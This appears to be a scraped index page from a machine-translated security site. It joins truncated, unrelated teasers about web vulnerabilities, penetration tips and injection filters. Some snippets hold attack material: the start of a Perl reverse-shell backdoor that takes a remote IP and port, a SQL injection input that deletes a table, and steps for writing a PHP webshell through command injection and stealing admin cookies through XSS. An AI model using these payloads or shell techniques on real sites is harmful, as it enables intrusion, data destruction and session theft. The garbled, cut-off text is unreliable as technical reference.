Cloud Security

The hash Collision Vulnerability has recently occurred in various languages. Including php, ruby, python, and java. Microsoft's. net is also affected.Hash collision principle:Hash is a type of output that converts an input of any length into an

Title: Count-per-day Wordpress plugin Arbitrary file download and XSSAffected Versions: 6 Scan (http://6scan.com) security team www.2cto.com: Http://wordpress.org/extend/plugins/count-per-day/Official fix: This advisory is released after the vendor

'The anti-XSS injection function was updated on by evio'Compared with checkstr (), checkxss is more secure'*************************************Function Checkxss (byVal ChkStr)Dim StrStr = ChkStrIf IsNull (Str) ThenCheckStr = ""Exit FunctionEnd

When penetrating a website, I met a set of website programs commonly used by many enterprise websites, and I don't know who changed the copyright. I have seen such a website program before, and it is basically no difficulty to use SHELL. Why?

Brief description: Dangdang reflected xss, which allows users to obtain cookies.Detailed Description: One of the search keywords submitted by the user is directly output to the js Code section without filtering, resulting in injection of custom js

Brief description: multiple design defects in We7CMS cause multiple unauthorized operations and serious security problems.Details: After installation, the installation directory is not deleted, and some files can be called directly. For example:Http:

Brief description: the backend file AspCms_AboutEdit.asp is not verified and is not filtered, resulting in SQL injection. In addition, cookies are pure spoofing!Details: -------- background injection -------- Http://www.bkjia.com/admin/_ content/_

Title: PlumeCMS By Ivano Binetti (http://ivanobinetti.com): Http://sourceforge.net/projects/pxsystem/files/latest/download? Source = directoryDevelopment Site: http://pxsystem.sourceforge.net/Affected Versions: 1.2.4 latest and earlier versionsTest

Today, wordpress has been infected with Trojans, which is incredible. The procedure is as follows: When I published an article in the evening, I suddenly thought of a solution for wordpress improvement. The picture/attachment is separated from the

Sina Weibo http://widget.weibo.com/live broadcast components under the XSS vulnerability.Detailed description: Live Video components are generally used by other websites, such as embedded   This page does not strictly filter the refer_content, so it

Sometimes it is in the background of the ewebeditor. After the upload type is modified, asp and asa can be uploaded. However, for some reason, the file cannot be uploaded, the file cannot be found, or the file cannot be displayed. Usage: Fill in the

Assume that the user executes Select * from product where id = 5 This statement. 5 of them are user input. The meaning of SQL injection is that some users do not enter 5,   5; delete from orders   Then the original SQL statement will become,  Select

Now I will summarize the following main types of code: for integer data, use intval to forcibly convert mysql to prevent injection before insertion. Generally, it is to submit (post or get) pages) the following two types of data are received: one is

1. Backdoor script on linux 1) Written in perl  Use strict;Use Socket;Use IO: Handle;If ($ # ARGV + 1! = 2 ){Print "$ # ARGV $0 Remote_IP Remote_Port \ n ";Exit 1;}My $ remote_ip = $ ARGV [0];My $ remote_port = $ ARGV [1];My $ proto = getprotobyname

The member release information is not filtered, and xss can be inserted directly.Register a user and go directly to the member management background Prerelease album Write  Then, wait for the Administrator to come up and the COOKIE will be

1. no matter what station, no matter what language, I want to penetrate, the first thing is to scan the directory, it is best to scan an upload point, directly upload the shell, don't laugh, sometimes it takes you a long time to build a website and

1: Code AnalysisAbout/index. php $ filpy = basename (dirname (_ FILE _); $ fmodule = 1; require_once '.. /include/module. php'; require_once $ module; the global variable overwrite mechanism combined with metinfo can include file testing: http: // w/

Using command injection to write a php webshell to the web directory involves escaping some special characters. Suppose you need to write , The method is as follows: WINDOWS: escape with ^ Web writable directory LINUX: escape using \ in linux

Affected program: HMS Testimonials ( http://wordpress.org/plugins/hms-testimonials/ ) Affected Version: 2.0.10 type: Wordpress plug-in developer: Jeff Kreitner ( http://profiles.wordpress.org/kreitje/ ) Defects:-Cross-Site Request Forgery

Weak background permission SQL Injection PS: by default, if the installation test data is selected, there will be two more accounts. This article starts with these two accounts again! Vulnerability occurred in admin/affiliate_ck.php line 29 If ($ _